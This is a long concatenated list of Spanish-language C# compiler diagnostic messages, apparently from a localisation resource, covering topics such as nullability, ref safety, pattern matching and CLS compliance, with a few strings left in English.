'{1}' + Opción no reconocida: '{0}' + Los métodos Async no se permiten en interfaces, clases ni estructuras que tienen el atributo 'SecurityCritical' o 'SecuritySafeCritical'. + El atributo CallerArgumentExpressionAttribute no se puede aplicar porque no hay conversiones estándar del tipo "{0}" al tipo "{1}" + Es posible que el primer operando de un operador 'is' o 'as' no sea una expresión lambda, un método anónimo ni un grupo de métodos. + Un acceso de matriz no puede tener un especificador de argumento con nombre + No se puede usar un grupo de métodos como argumento de una operación enviada de forma dinámica. ¿Quería invocar el método? + operador de intervalo + No se puede usar un campo de solo lectura como valor out o ref (excepto en un constructor). + No se puede interceptar una llamada en el archivo con la ruta de acceso '{0}' porque varios archivos de la compilación la tienen. + Se ha llamado a GetDeclarationName para un nodo de declaración que puede contener varios declaradores de variables. + Este error se produce cuando tiene un método sobrecargado que toma una matriz escalonada y cuando la única diferencia entre firmas del método es el tipo de elemento del rango. Para evitar este error, considere utilizar una matriz rectangular en vez de una matriz escalonada. Utilice un parámetro adicional para desambiguar la función de llamada. Cambie el nombre de uno o de varios métodos sobrecargados. Si no necesita la conformidad a CLS, elimine el atributo CLSCompliantAttribute. + La expresión switch no controla todos los valores posibles de su tipo de entrada (no es exhaustiva). Por ejemplo, no se cubre el patrón "{0}". Sin embargo, un patrón con una cláusula "when" puede coincidir correctamente con este valor. + Los nombres de elementos de tupla en la firma del método '{0}' deben coincidir con los del método de interfaz '{1}' (que se incluye en el tipo de valor devuelto). + El objeto "this" se lee antes de que se hayan asignado todos sus campos, lo que provoca las asignaciones implícitas anteriores de "default" a los campos asignados de forma no explícita. + Esto devuelve por referencia un miembro del parámetro "{0}" que está en el ámbito del método actual + Atributo '{0}' duplicado en '{1}' + función asincrónica + Formato de la información de depuración no válido: {0} + Una instrucción goto no puede saltar a una ubicación antes que una declaración using dentro del mismo bloque. + Los descriptores de acceso "{0}" y "{1}" deben ser los dos solo de inicialización o ninguno de ellos + Los métodos asincrónicos no pueden tener parámetros de tipo de puntero + “else” no puede iniciar una instrucción. + El miembro invalida los miembros obsoletos + No se puede asignar a {0} "{1}" o usarlo como el lado derecho de una asignación de referencia porque es una variable de solo lectura + La sintaxis "var" de un patrón no puede hacer referencia a un tipo, pero "{0}" está dentro del ámbito aquí. + Los métodos asincrónicos no pueden tener variables locales por referencia. + Argument {0} should be passed with the 'in' keyword + restricción de tipo genérico notnull + Solo las propiedades implementadas automáticamente pueden tener inicializadores. + Un 'struct' con inicializadores de campo debe incluir un constructor declarado explícitamente. + No se puede crear el nombre de archivo corto '{0}' cuando ya existe un nombre de archivo largo con el mismo nombre de archivo corto + El tipo de parámetro para el operador ++ o -- debe ser el tipo contenedor o su parámetro de tipo restringido a él. + El tipo local de archivo '{0}' debe definirse en un tipo de nivel superior; '{0}' es un tipo anidado. + El atributo "{0}" no es válido en descriptores de acceso de eventos. Solo es válido en declaraciones "{1}". + #advertencia: '{0}' + Un miembro estático no se puede marcar como "{0}" + No se pueden especificar modificadores "readonly" en la propiedad o el indizador "{0}" y su descriptor de acceso. Quite uno de ellos. + El campo se lee antes de asignarse explícitamente, lo que provoca una asignación implícita anterior de 'default'. + La línea y el número de carácteres proporcionados no hacen referencia a un nombre de método interceptable, sino a un token '{0}'. + La parte izquierda de una asignación debe ser una variable, una propiedad o un indizador + El entorno de ejecución de destino no admite tipos de matriz insertados. + Un miembro '{0}' marcado como override no se puede marcar como new o virtual + Ambas declaraciones de método parcial, '{0}' y '{1}', deben usar los mismos nombres de elementos de tupla. + La nulabilidad de los tipos de referencia del tipo de parámetro"{0}" de "{1}" no coincide con el miembro "{2}" implementado de forma implícita (posiblemente debido a los atributos de nulabilidad). + Los miembros de struct no pueden devolver 'this' ni otros miembros de instancia por referencia. + '{0}': no todas las rutas de acceso de código devuelven un valor + No se puede usar un resultado de "{0}" en este contexto porque puede exponer variables a las que el parámetro "{1}" hace referencia fuera de su ámbito de declaración. + La expresión switch no controla todos los valores posibles de su tipo de entrada (no es exhaustivo). Por ejemplo, el patrón "{0}" no está incluido. + El tipo '{0}' no se puede reenviar porque es un tipo anidado de '{1}' + Se esperaba un comentario de una línea o un fin de línea + La restricción no puede ser el tipo dinámico + Es necesario asignar el parámetro '{0}' out antes de que el control abandone el método actual + Nombre no válido para un símbolo de preprocesamiento; no es un identificador válido + El sufijo 'l' se confunde fácilmente con el dígito '1': utilice 'L' para mayor claridad + '{0}' en la declaración explícita de la interfaz no es una interfaz + acceso a matrices + El receptor de una expresión "with" debe tener un tipo no nulo. + '{0}': no se puede invalidar '{1}' porque el lenguaje no lo admite + Cannot initialize type '{0}' with a collection expression because the type is not constructible. + Solo se puede asignar la propiedad o el indizador de solo inicialización "{0}" en un inicializador de objeto o en "this" o "base" en un constructor de instancia o un descriptor de acceso "init". + No se puede convertir el grupo de métodos '{0}' al tipo delegado '{1}'. + El modificador de parámetro "{0}" no se puede usar con "{1}". + No se permiten nombres de elemento cuando se lleva a cabo la coincidencia de patrones con "System.Runtime.CompilerServices.ITuple". + El método '{0}' no se puede usar como interceptor porque su tipo contenedor tiene parámetros de tipo. + No se puede asignar referencia de “{1}” a “{0}” porque “{1}” tiene un ámbito de escape de valor más amplio que “{0}” lo que permite la asignación mediante “{0}” de valores con ámbitos de escape más estrechos que “{1}”. + El tipo "{0}" no se puede insertar porque tiene una reabstracción de un miembro de la interfaz base. Puede establecer la propiedad "Incrustar tipos de interoperabilidad" en false. + No se puede usar como método el miembro '{0}' no invocable. + Un valor out o ref debe ser una variable asignable. + Se debe indicar SyntaxTreeSemanticModel para proporcionar una cualificación de tipo mínima. + El atributo CallerArgumentExpressionAttribute no tendrá efecto: lo reemplaza el atributo CallerMemberNameAttribute + Error de inicialización del generador. + El tipo '{0}' está definido en un módulo que todavía no se ha agregado. Debe agregar el módulo '{1}'. + Una expresión condicional no se puede utilizar directamente en una interpolación de cadenas porque ":" finaliza la interpolación. Ponga la expresión condicional entre paréntesis. + El espacio de nombres '{1}' de '{0}' está en conflicto con el tipo '{3}' de '{2}' + '{0}': un constructor estático no debe tener parámetros + Un parámetro Out no puede tener un atributo In + No se pueden usar argumentos con el modificador "in" en expresiones distribuidas dinámicamente. + grupo de métodos + El iterador de asincronía "{0}" tiene uno o más parámetros de tipo "CancellationToken", pero en ninguno se incluye el atributo "EnumeratorCancellation", por lo que el parámetro de token de cancelación del objeto "IAsyncEnumerable<>.GetAsyncEnumerator" generado no se consumirá + Atributo MemberNotNull + El campo nunca se asigna y siempre tendrá su valor predeterminado + El método '{0}' tiene un modificador de parámetro 'this' que no está en el primer parámetro + No se pueden usar comillas no ASCII en los literales de cadena. + Clase base requerida para una referencia 'base' + Directiva de preprocesador inesperada + Conversión unboxing a un valor posiblemente NULL. + El tipo "{2}" no se puede usar como parámetro de tipo "{1}" en el método o tipo genérico "{0}". La nulabilidad del argumento de tipo "{2}" no coincide con la restricción "notnull". + La comprobación de conformidad con CLS no se realizará en '{0}' porque no es visible desde fuera de este ensamblado + La directiva using para "{0}" aparecía anteriormente como using global + '{0}': no se puede invalidar porque '{1}' no es una propiedad + Un patrón de tipo "{1}" no puede controlar una expresión de tipo "{0}" en C# {2}. Use la versión {3} del lenguaje o una versión posterior. + La variable '{0}' está asignada pero su valor nunca se usa + No se puede aplicar el operador "{0}" a "default" y a un operando de tipo "{1}", ya que es un parámetro de tipo del que no se conoce que sea un tipo de referencia. + La anotación para tipos de referencia que aceptan valores NULL solo debe usarse en el código dentro de un contexto de anotaciones "#nullable". + El nombre '{0}' del elemento de tupla solo se permite en la posición {1}. + Hay más de un modificador de protección + El comentario XML tiene un atributo cref '{0}' con sintaxis incorrecta + El ensamblado del analizador hace referencia a una versión más reciente del compilador que la versión que se está ejecutando actualmente. + '{0}' no es compatible con el idioma + El comentario XML tiene una etiqueta paramref, pero no hay ningún parámetro con ese nombre + El operador 'await' solo se puede usar dentro de un método asincrónico. Puede marcar este método con el modificador 'async' y cambiar su tipo de valor devuelto a 'Task'. + No se puede usar ref, out o en el parámetro de constructor principal '{0}' dentro de un miembro de instancia + No se puede actualizar '{0}'; falta el atributo '{1}'. + cambio derecho sin firmar + No se puede especificar /main si hay una unidad de compilación con instrucciones de nivel superior. + Un parámetro de constructor principal de un tipo de solo lectura no se puede usar como valor ref o out (excepto en el establecedor de solo inicialización del tipo o un inicializador de variable) + El atributo CallerArgumentExpressionAttribute no tendrá efecto: lo reemplaza el atributo CallerFilePathAttribute + "{0}": nuevo miembro protegido declarado en el tipo sellado + El control no puede pasar explícitamente de una etiqueta case ('{0}') a otra + No se puede convertir {0} en el tipo '{1}' porque no es un tipo delegado + Una expresión lambda con un cuerpo de instrucción no se puede convertir en un árbol de expresión + El método "{0}" especifica una restricción "default" para el parámetro de tipo "{1}", pero el parámetro de tipo "{2}" correspondiente del método "{3}" invalidado o implementado explícitamente se restringe a un tipo de referencia o a un tipo de valor. + El modificador "scoped" del parámetro no coincide con el miembro invalidado o implementado. + Declaraciones y expresiones mixtas en la desconstrucción + Compilador de Microsoft (R) Visual C# + La línea contiene un espacio en blanco diferente de la línea de cierre del literal de cadena sin formato: \"{0}\" frente a \"{1}\" + No se puede convertir el tipo '{0}' en '{1}' mediante una conversión de referencia, boxing, unboxing, de ajuste del texto o de tipo NULL + "{0}" se incluye con fines de evaluación y está sujeto a cambios o a que se elimine en próximas actualizaciones. + Un puntero solo puede estar indizado por un valor + '{0}' tiene CollectionBuilderAttribute, pero no tiene tipo de elemento. + No se admite el uso de un tipo de puntero de función en este contexto. + Número de advertencia no válido + Ambas declaraciones de métodos parciales deben ser de solo lectura o ninguna de ellas puede ser de solo lectura + variables locales y devoluciones por referencia + El atributo CallerArgumentExpressionAttribute aplicado al parámetro "{0}" no tendrá ningún efecto porque es autorreferencial. + No se puede pasar un argumento de tipo dinámico al parámetro params '{0}' de la función local '{1}'. + El método de interoperabilidad incrustado '{0}' contiene un cuerpo. + El mejor método Add sobrecargado '{0}' para el elemento inicializador de la colección está obsoleto. + dinámico + No se puede usar la variable local '{0}' antes de declararla. La declaración de la variable local oculta el campo '{1}'. + No se tiene en cuenta el nombre de elemento de tupla porque no se ha especificado ningún nombre, o se ha especificado uno diferente, en el otro lado del operador == o != de la tupla. + no se admite la instrucción foreach en una matriz insertadas de tipo '{0}' + El miembro debe tener un valor que no sea nulo al salir. + El índice está fuera de los límites de la matriz insertada. + No se puede definir o anular la definición de símbolos de preprocesador después del primer token del archivo + No se pueden especificar a la vez las opciones de compilación '{0}' y '{1}'. + instrucciones de nivel superior + El atributo CallerMemberNameAttribute no tendrá efecto porque se aplica a un miembro que se utiliza en contextos que no permiten argumentos opcionales + La operación se desborda en el momento de la compilación en modo checked + calificador de alias de espacio de nombres + No se permite una instrucción throw sin argumentos fuera de una cláusula catch + Operando no válido para la coincidencia de patrones. Se requería un valor, pero se encontró '{0}'. + La instrucción foreach no puede funcionar en enumeradores de tipo "{0}" en métodos async o iterator porque "{0}" es una estructura ref. + El parámetro no se ha leído ¿Olvidó usarlo para inicializar la propiedad con ese nombre? + El valor constante "{0}" puede desbordar "{1}" en tiempo de ejecución (use la sintaxis "unchecked" para invalidar). + El evento '{0}' nunca se usa + El comentario XML no está situado en un elemento válido del idioma + Error al escribir en el archivo de documentación XML: {0} + genéricos + 'La interfaz '{0}' marcada con 'CoClassAttribute' no está marcada con 'ComImportAttribute' + No se pueden usar campos de '{0}' como valores out o ref porque es un '{1}'. + Uso de una propiedad implementada automáticamente posiblemente sin asignar '{0}' + El campo '{0}' nunca se usa + No existe ninguna referencia a esta etiqueta + '{0}' es un argumento de atributo con nombre duplicado + No se puede establecer una referencia a una variable de tipo '{0}' + El operador 'await' solo se puede usar cuando está contenido dentro de un método o una expresión lambda marcada con el modificador 'async' + Un árbol de expresión no puede contener un literal de tupla. + Comparación hecha a la misma variable + No se puede llamar a un puntero a función con argumentos con nombre. + No se pueden aplicar expresiones de inicializador de objeto y colección a una expresión de creación de delegado + El comentario XML tiene una etiqueta typeparam duplicada para '{0}' + "{0}": no se permiten conversiones definidas por el usuario ni a un tipo derivado ni desde él + El inicializador de objeto o colección desreferencia el miembro posiblemente NULL de forma implícita. + El tipo no implementa un miembro de interfaz. La nulabilidad de los tipos de referencia de la interfaz que implementa el tipo base no coincide. + '{0}' no es un especificador de formato válido + 'No se puede usar "await" en una expresión que contiene un operador condicional ref. + El parámetro "{0}" no se ha leído. ¿Olvidó usarlo para inicializar la propiedad con ese nombre? + El miembro del iterador de asincronía tiene uno o más parámetros de tipo "CancellationToken", pero en ninguno se incluye el atributo "EnumeratorCancellation", por lo que el parámetro de token de cancelación del objeto "IAsyncEnumerable<>.GetAsyncEnumerator" generado no se consumirá + Ya se ha importado un ensamblado con el mismo nombre sencillo '{0}'. Intente quitar una de las referencias (por ej., '{1}') o fírmelas para habilitar la función en paralelo. + El operador 'await' no se puede usar en un inicializador de variable de script estático. + No se puede heredar la interfaz '{0}' con los parámetros de tipo especificados porque da lugar a que el método '{1}' contenga sobrecargas que difieren solo en ref y out + El nombre '{0}' no está dentro del ámbito en el lado izquierdo de 'equals'. Puede intercambiar las expresiones en cualquier lado de 'equals'. + CallerFilePathAttribute no se puede aplicar porque no hay conversiones estándar del tipo '{0}' al tipo '{1}' + El identificador '{0}' que solo se diferencia por el uso de mayúsculas o minúsculas no es conforme a CLS + No se puede convertir un literal NULL en un tipo de referencia que no acepta valores NULL. + Incoherencia de accesibilidad: el tipo de propiedad '{1}' es menos accesible que la propiedad '{0}' + null no es un nombre de parámetro válido. Para obtener acceso al receptor de un método de instancia, use la cadena vacía como nombre del parámetro. + Error al abrir el archivo de recursos de Win32 '{0}': '{1}' + Especificador de formato vacío. + La nulabilidad del tipo de valor devuelto no coincide con el miembro invalidado (posiblemente debido a los atributos de nulabilidad). + Operador OR bit a bit utilizado en un operando de extensión de signo + El resultado de la expresión siempre es el mismo ya que un valor de este tipo siempre es igual a "null" + Error en el acceso del miembro de identificador transparente para el campo '{0}' de '{1}'. ¿Los datos consultados implementan el patrón de consulta? + restricciones de tipo genérico delegate + La nulabilidad de los tipos de referencia del tipo de parámetro no coincide con el miembro implementado (posiblemente debido a los atributos de nulabilidad). + No se puede usar una constante numérica o un patrón relacional en '{0}' porque hereda o extiende 'INumberBase<T>'. Considere la posibilidad de usar un patrón de tipo para restringir a un tipo numérico específico. + CallerLineNumberAttribute no se puede aplicar porque no hay conversiones estándar del tipo '{0}' al tipo '{1}' + 'extern alias' no es válido en este contexto + La lista de miembros necesarios para el tipo base '{0}' tiene un formato incorrecto y no se puede interpretar. Para usar este constructor, aplique el atributo 'SetsRequiredMembers'. + No se puede usar el objeto 'this' en un constructor antes de que se hayan asignado todos sus campos. Considere la posibilidad de actualizar la versión de idioma para establecer automáticamente el valor predeterminado de los campos sin asignar. + Ambos valores de operador condicional deben ser valores ref o ninguno de ellos debe ser un valor ref. + El uso de new() no es válido en este contexto. + El tipo '{0}' no se puede incrustar porque es un tipo anidado. Puede establecer la propiedad 'Incrustar tipos de interoperabilidad' en false. + No se puede especificar el atributo CLSCompliant en un módulo que sea distinto del atributo CLSCompliant del ensamblado + La capacidad para admitir valores NULL de los tipos de referencia en el tipo de valor devuelto no coincide con el método interceptable. + El miembro requerido '{0}' debe establecerse en el inicializador de objeto o constructor de atributos. + El indizador de matriz en línea no se usará para la expresión de acceso de elementos. + {0}. Vea también el error CS{1}. + Tipo base no válido + El miembro requerido '{0}' no puede ser menos visible ni tener un establecedor menos visible que el tipo contenedor '{1}'. + El nombre de tipo '{0}' no existe en el tipo '{1}' + No se encontraron elementos coincidentes para la siguiente etiqueta de inclusión + La característica "{0}" es experimental y no se admite. Use "/features:{1}" para habilitarla. + La propiedad implementada automáticamente se lee antes de asignarse explícitamente, lo que provoca una asignación implícita anterior de "default". + El tipo reemplaza a Object.Equals(object o), pero no reemplaza a Object.GetHashCode() + flujos asincrónicos + El valor "goto case" no es implícitamente convertible al tipo switch + Se especificó la opción del compilador /doc, pero una o más construcciones no tenían comentarios. + '{0}': no se puede invalidar el miembro heredado '{1}' porque no está marcado como virtual, abstract ni override + El nombre de parámetro '{0}' está duplicado + '{0}': no se permiten modificadores de acceso en constructores estáticos + No use 'System.Runtime.CompilerServices.RequiredMemberAttribute'. Use la palabra clave 'required' en campos y propiedades obligatorios en su lugar. + Uso inesperado de un nombre genérico sin enlazar + El modificador 'ref' de un argumento correspondiente al parámetro 'in' equivale a 'in'. Considere la posibilidad de usar "in" en su lugar. + El descriptor de acceso '{0}' no puede implementar el miembro de interfaz '{1}' para el tipo '{2}'. Use una implementación de interfaz explícita. + Ambas declaraciones de método parcial deben ser métodos de extensión; si no, no puede serlo ninguna de las dos + Se esperaba catch o finally + Una nueva expresión requiere una lista de argumentos o (), [] o {} después del tipo + La variable está declarada pero nunca se usa + '{0}' se define en un módulo con una versión refSafetyRulesAttribute no reconocida, que espera '11'. + Se encontró el fin del archivo y se esperaba '*/' + No se puede hacer referencia a la compilación de tipo '{0}' desde {1} compilación. + Se especifica un valor predeterminado para el parámetro 'ref readonly', pero 'ref readonly' solo se debe usar para referencias. Considere la posibilidad de declarar el parámetro como 'in'. + '{0}' oculta el miembro heredado '{1}'. Para hacer que el miembro actual invalide esa implementación, agregue la palabra clave override. Si no, agregue la palabra clave new. + '{0}' no implementa el miembro de interfaz '{1}'. '{2}' no puede implementar un miembro de interfaz porque no es público. + El tipo local de archivo '{0}' no se puede usar en una firma de miembro en el tipo no local de archivo '{1}'. + La interfaz '{0}' no se puede usar como argumento de tipo. El miembro estático '{1}' no tiene una implementación más específica en la interfaz. + Se esperaba un SemanticModel de {0}. + expresión condicional de referencia + operador predeterminado + No se puede asignar un valor de tipo "void". + literal predeterminado + "{0}" no implementa el miembro de interfaz "{1}". "{2}" no puede implementar "{1}". + Un patrón de tipo "{1}" no puede controlar una expresión de tipo "{0}". + No se puede usar el objeto 'this' antes de que se hayan asignado todos sus campos. Considere la posibilidad de actualizar a la versión de idioma "{0}" para establecer automáticamente el valor predeterminado de los campos sin asignar. + Se especificaron opciones conflictivas: archivo de recursos de Win32; icono de Win32 + El atributo se omite cuando se especifica la firma pública. + El nombre de tipo "{0}" está reservado para uso del compilador. + La nulabilidad de los tipos de referencia del especificador de interfaz explícito no coincide con la interfaz que el tipo implementa. + Los puntos de entrada de la aplicación no se pueden atribuir con "UnmanagedCallersOnly". + El nombre '{0}' no está dentro del ámbito en el lado derecho de 'equals'. Puede cambiar las expresiones en cualquier lado de 'equals'. + '{0}': no se pueden cambiar los nombres de elementos de tupla al reemplazar el miembro heredado '{1}' + La longitud combinada de las cadenas de usuario que el programa utiliza supera el límite permitido. Intente disminuir el uso de literales de cadena. + Se esperaba { + El sufijo "l" se confunde fácilmente con el número "1" + Carácter inesperado en esta ubicación. + Se esperaba '>' o '/>' para cerrar la etiqueta '{0}'. + El valor generado puede ser NULL. + El parámetro de tipo no tiene una etiqueta typeparam coincidente en el comentario XML (pero otros parámetros de tipo sí) + acción de advertencia "enable" + No es aconsejable definir ningún alias denominado 'global' porque 'global::' siempre hace referencia al espacio de nombres global y no a un alias + El CallerMemberNameAttribute aplicado al parámetro '{0}' no tendrá efecto porque se aplica a un miembro que se usa en contextos que no permiten argumentos opcionales + El parámetro del constructor de atributo '{0}' tiene el tipo '{1}', que no es un tipo de parámetro de atributo válido + Modificador de varianza no válido. Solo se pueden especificar como variantes parámetros de tipo de interfaz y delegado. + El parámetro debe tener un valor que no sea nulo al salir en alguna condición. + No se pueden usar patrones relacionales para un valor de tipo "{0}". + No se admite heredar desde un registro con 'Object.ToString' sellado en C# {0}. Utilice la versión de idioma '{1}' o superior. + El método sobrecargado solo difiere en ref o out, o bien en el rango de matriz. No es conforme a CLS + '{0}': un campo volátil no puede ser del tipo '{1}' + Una expresión stackalloc requiere [] después del tipo + Declarador de miembro de tipo anónimo no válido. Los miembros de tipo anónimo deben declararse con una asignación de miembro, un nombre simple o un acceso al miembro. + Una tupla no puede contener un valor de tipo "void". + No se puede especificar el atributo Out en un parámetro ref sin especificar también el atributo In. + El archivo de código fuente '{0}' se especificó varias veces + Los miembros de la propiedad '{0}' de tipo '{1}' no se pueden asignar con un inicializador de objeto porque es de un tipo de valor + collection expressions + '{0}': las estructuras no pueden llamar a constructores de clase base + El tipo no implementa la trama de colección. Los miembros son ambiguos + stackalloc no se puede usar en un bloque catch o finally + Se esperaba un literal de cadena, pero no se encontró la comilla de apertura. + '{0}' no puede ser externo y declarar un cuerpo + <expresión switch> + Expresión de preprocesador no válida + La palabra clave 'this' no está disponible en el contexto actual + tipo de valor devuelto de lambda + SyntaxTree se obtuvo de una directiva #load y no se puede quitar ni reemplazar directamente. + Directiva #pragma no reconocida + Un tipo anónimo no puede tener varias propiedades con el mismo nombre + El parámetro de tipo "{1}" tiene la restricción "unmanaged"; por tanto, "{1}" no se puede usar como restricción para "{0}" + El nombre '{0}' supera la longitud máxima permitida en los metadatos. + No se puede usar una directiva de uso de versión estática para declarar un alias + Asignación a la misma variable. ¿Quería asignar otro elemento? + Nunca se usa el evento + No se puede declarar un interceptor en el espacio de nombres global. + Una instrucción foreach asincrónica no puede funcionar en variables de tipo "{0}", porque "{0}" no contiene una definición de extensión o instancia pública adecuada para "{1}". + El evento '{0}' solo puede aparecer a la izquierda de += o -=. + El valor del parámetro predeterminado no coincide en el tipo delegado de destino. + La etiqueta de inclusión no es válida + punteros de función + El reenviador del tipo '{0}' en el ensamblado '{1}' crea un ciclo + El tipo '{0}' ya contiene una definición para '{1}' + Un árbol de expresión no puede contener una llamada o invocación que use argumentos opcionales + El operador "{0}" no se puede aplicar al operando del tipo "{1}" + No se pudo abrir el archivo de metadatos '{0}': {1} + La comparación con NULL de tipo '{0}' siempre genera 'false' + módulo como especificador de destino de atributo + patrones recursivos + Esta advertencia puede producirse cuando dos métodos de interfaz solo se diferencian por la marca de un parámetro particular con ref o out. Es mejor cambiar su código para evitar esta advertencia porque no es obvio ni se garantiza qué método se llamará en el tiempo de ejecución. + +A pesar de que C# distingue entre out y ref, el CLR los ve como iguales. Cuando decida qué método implementa la interfaz, el CLR escoge uno. + +Indique al compilador alguna forma de diferenciar los métodos. Por ejemplo, puede darles nombres diferentes o dar un parámetro adicional a uno de ellos. + No se puede usar #r después del primer token del archivo + "{0}" no implementa el miembro de interfaz de instancia "{1}". "{2}" no puede implementar el miembro de interfaz porque es estático. + "{0}" no implementa el miembro de interfaz "{1}". "{2}" no puede implementar implícitamente un miembro no público en el {3} de C#. Use la versión de idioma "{4}" o una posterior. + Esto devuelve por referencia un parámetro "{0}", pero no es de tipo ref + No se puede inicializar una variable por referencia con un valor. + argumento con nombre + Un tipo de valor devuelto solo puede tener un modificador "{0}". + El tipo predefinido '{0}' está definido en varios ensamblados del alias global; se usa la definición de '{1}' + Un lambda de árbol de expresión no puede contener una llamada a un método, una propiedad o un indexador que devuelva datos por referencia. + campos de estructura predeterminados automáticos + Un método parcial no puede tener el modificador "abstract" + "{0}" ya está en la lista de interfaces del tipo "{1}" con una nulabilidad diferente de los tipos de referencia. + Falta el signo igual entre el atributo y el valor de atributo. + No se puede actualizar porque ha cambiado un tipo delegado inferido. + No se puede deconstruir una tupla de '{0}' elementos en '{1}' variables. + '{0}' no implementa el miembro abstracto heredado '{1}' + No es posible que un mismo directorio ("{0}") contenga varios archivos de configuración del analizador. + La característica de lenguaje "Matrices insertadas" no se admite para tipos de matriz en línea con un campo de elemento que sea un campo "ref" o que tenga un tipo que no sea válido como argumento de tipo. + "{0}" no puede estar sellado porque el registro contenedor no está sellado. + No se puede crear una instancia del tipo de variable '{0}' porque no tiene la restricción new() + El tipo de '{0}' no se puede inferir porque su inicializador hace referencia, directa o indirectamente, a la definición. + "{0}": el entorno de ejecución de destino no admite los tipos de covariante en las invalidaciones. El tipo debe ser "{2}" para que coincida con el miembro "{1}" invalidado. + #load solo se permite en scripts + El método sobrecargado '{0}' que solo se diferencia por tipos de matriz sin nombre no es conforme a CLS + El modificador de clase de referencia del parámetro no coincide con el parámetro correspondiente en el miembro invalidado o implementado. + Esta referencia asigna un valor que tiene un ámbito de escape de valor más amplio que el destino lo que permite la asignación a través del destino de valores con ámbitos de escape más estrechos. + El evento de tipo campo "{0}" no puede ser "readonly". + Un argumento de atributo debe ser una expresión constante, una expresión typeof o una expresión de creación de matrices de un tipo de parámetro de atributo + estructuras readonly + <expresión throw> + tipos parciales + La expresión dada no coincide nunca con el patrón proporcionado. + El parámetro genérico es definición cuando se espera que sea la referencia {0} + An expression tree may not contain a collection expression. + El valor devuelto debe ser distinto de NULL porque el parámetro "{0}" no es NULL. + La sintaxis 'var (...)' como valor L está reservada. + "{0}" no invalida el método esperado de "{1}". + El miembro de estructura devuelve "this" u otros miembros de instancia por referencia + Omitiendo la opción /noconfig porque se especificó en un archivo de respuesta + "{0}" no implementa el miembro de interfaz estático "{1}". "{2}" no puede implementar el miembro de interfaz porque no es estático. + '{0}': la propiedad o el indizador no pueden tener el tipo void + '{0}': no se puede invalidar el miembro heredado '{1}' porque está sellado + Los iteradores no pueden tener parámetros ref, in ni out + La propiedad indizada '{0}' debe tener todos los argumentos opcionales + El campo '{0}' debe estar totalmente asignado antes de que el control se devuelva al autor de la llamada. Considere la posibilidad de actualizar a la versión de idioma "{1}" para establecer automáticamente el valor predeterminado del campo. + Ambas declaraciones de método parcial deben tener el mismo tipo de valor devuelto. + Uso incoherente del parámetro lambda; los tipos de parámetro deben ser todos explícitos o todos implícitos + No es posible cargar el ensamblaje del analizador + No se puede deducir el tipo de descarte con tipo implícito. + El tipo '{0}' de la lista de interfaces no es una interfaz + Las firmas de los métodos interceptables e interceptores no coinciden. + Palabra clave \"record\" inesperada. ¿Quería decir \"record struct\" o \"record class\"? + elemento + No se admite la característica "parameter null-checking". + El parámetro __arglist debe ser el último en una lista de parámetros + {0} no es una operación de asignación compuesta de C# válida + Un árbol de expresión no puede contener un operador de coincidencia de patrones 'is'. + No se puede utilizar el constructor de atributos "{0}" porque tiene parámetros "in" o "ref readonly". + variables de iteración foreach de referencias + Conversiones ambiguas definidas por el usuario '{0}' y '{1}' al convertir de '{2}' a '{3}' + El tipo de interoperabilidad '{0}' no se puede incrustar. En su lugar, use la interfaz aplicable. + La expresión debe ser de tipo '{0}' porque se asigna por referencia. + El ensamblado no contiene ningún analizador + Ninguna sobrecarga correspondiente a "{0}" coincide con el puntero de función "{1}". + Indexando una matriz con un índice negativo + Las propiedades que devuelven datos por referencia no pueden tener descriptores de acceso. + Error de sintaxis de línea de comandos: falta ':<número>' para la opción '{0}' + La referencia al tipo '{0}' confirma que está definida en '{1}', pero no se encontró + Asignación posiblemente incorrecta a la variable local '{0}', que es el argumento pasado a una instrucción using o lock. La llamada Dispose o el desbloqueo se producirán en el valor original de la variable local. + La tupla con {0} elementos no se puede convertir al tipo '{1}'. + El carácter '<' no se puede usar en un valor de atributo. + Esto toma la dirección u obtiene el tamaño de un tipo administrado ("{0}") o declara un puntero al mismo + Un constructor de copia de un registro debe llamar a un constructor de copia de la base, o un constructor de objeto sin parámetros si el registro se hereda del objeto. + Sintaxis de #pragma checksum no válida; debe ser #pragma checksum "nombre de archivo" "{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}" "XXXX..." + de forma no variante + "{0}" se incluye con fines de evaluación y está sujeto a cambios o a que se elimine en próximas actualizaciones. Suprima este diagnóstico para continuar. + La posición no está dentro del árbol de sintaxis con el intervalo completo {0} + No se puede definir un nuevo método de extensión porque no se encontró el tipo '{0}' requerido por el compilador. ¿Falta alguna referencia a System.Core.dll? + La nulabilidad de los tipos de referencia del tipo devuelto no coincide con la declaración de método parcial. + Para que se pueda aplicar un operador de cortocircuito, el operador lógico definido por el usuario ('{0}') debe tener el mismo tipo de valor devuelto y los mismos tipos de parámetros + La comparación se ha hecho con la misma variable. ¿Quería comparar otro elemento? + Nuevas líneas en interpolaciones + El modificador “scoped” no se puede usar con discard. + El identificador difiere solo en caso de que no sea conforme a CLS + El parámetro {0} tiene modificador de parámetros en lambda, pero no en el tipo delegado de destino. + Literal real no válido. + No se puede usar la instrucción "fixed" para adquirir la dirección de una expresión de tipo fixed + '{0}' no tiene constructores accesibles que usen solo tipos conformes a CLS + No se pudo realizar la evaluación de la expresión de la constante decimal y se produjo un error + El parámetro "{0}" debe tener un valor que no sea nulo al salir con "{1}". + patrón de lista + La etiqueta '{0}' está duplicada + No se puede asignar a un campo de solo lectura un valor (excepto en un constructor o un establecedor solo de inicialización del tipo en el que se define el campo o un inicializador de variable) + El elemento {0} "{1}" que no acepta valores NULL debe contener un valor distinto de NULL al salir del constructor. Considere la posibilidad de declarar el elemento {0} como que admite un valor NULL. + El alias using '{0}' aparece previamente en este espacio de nombres + El argumento {0} se debe pasar con la palabra clave '{1}' + No se puede usar el parámetro de constructor principal de tipo '{0}' dentro de un miembro de instancia + El atributo CallerArgumentExpressionAttribute aplicado al parámetro "{0}" no tendrá efecto. Lo invalida el CallerMemberNameAttribute. + La nulabilidad de los tipos de referencia del tipo devuelto no coincide con la declaración de método parcial. + Valor no válido para el argumento '{0}' del atributo con nombre + Restricción '{0}' duplicada para el tipo de parámetro '{1}' + Los miembros del campo de solo lectura '{0}' de tipo '{1}' no se pueden asignar con un inicializador de objeto porque es de un tipo de valor + No se admiten eventos de tipo campo en estructuras readonly. + No se tiene en cuenta el nombre de elemento de tupla "{0}" porque no se ha especificado ningún nombre, o se ha especificado uno diferente, en el otro lado del operador == o != de la tupla. + El modificador 'async' solo se puede usar en métodos que tengan un cuerpo. + La expresión switch no controla algunas entradas de tipo NULL. + Las declaraciones parciales de '{0}' no deben especificar clases base diferentes + '{0}' no es accesible debido a su nivel de protección + No se permite el operador de supresión en este contexto. + Los miembros heredados '{0}' y '{1}' tienen la misma firma 